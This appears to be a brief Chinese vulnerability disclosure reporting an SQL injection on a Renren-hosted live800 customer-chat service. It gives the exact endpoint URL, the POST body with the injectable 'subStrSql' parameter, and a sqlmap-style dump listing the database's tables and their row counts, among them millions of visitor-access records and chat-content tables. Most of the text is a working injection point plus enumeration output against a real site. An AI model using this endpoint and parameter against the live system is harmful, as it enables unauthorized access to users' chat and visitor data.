人人网某处SQL注入影响大量数据

http://live800.wan.renren.com:80/live800//sta/export/chatOpSta.jsp (POST)

export=txt&companyId=1&subStrSql=*

Database: live800_im
+---------------------+---------+
| Table               | Entries |
+---------------------+---------+
| visitor_access      | 15081675 |
| operator_status     | 633129  |
| chat_topic          | 616252  |
| live800_system      | 410676  |
| chat_content        | 289363  |
| chat_sta            | 289308  |
| chat_info           | 285963  |
| leaveword_topic     | 161506  |
| trustful_visitor    | 78942   |
| leaveword           | 74624   |
| contact             | 71702   |
| cookie_contact      | 71702   |
| company_config_data | 69254   |
| lost                | 51034   |
| sync_info           | 23170   |
| op_chat_content     | 7200    |
| daily_flow_capacity | 1329    |
| sys_operate_log     | 1266    |
| faq                 | 115     |
| operator            | 82      |
| privilege           | 82      |
| company_config      | 36      |
| user_defined_button | 18      |
| company_ui_config   | 16      |
| config_template     | 12      |
| user_invite         | 12      |
| company_skill       | 11      |
| ad_column           | 10      |
| routing_action      | 6       |
| chat_config         | 4       |
| leaveword_box       | 3       |
| notify              | 3       |
| routing_condition   | 3       |
| routing_policy      | 3       |
| routing_rule        | 3       |
| canned_url          | 1       |
| company             | 1       |
| company_style       | 1       |
| customization       | 1       |
| fuf                 | 1       |
| ip_prohibit         | 1       |
| operator_account    | 1       |
+---------------------+---------+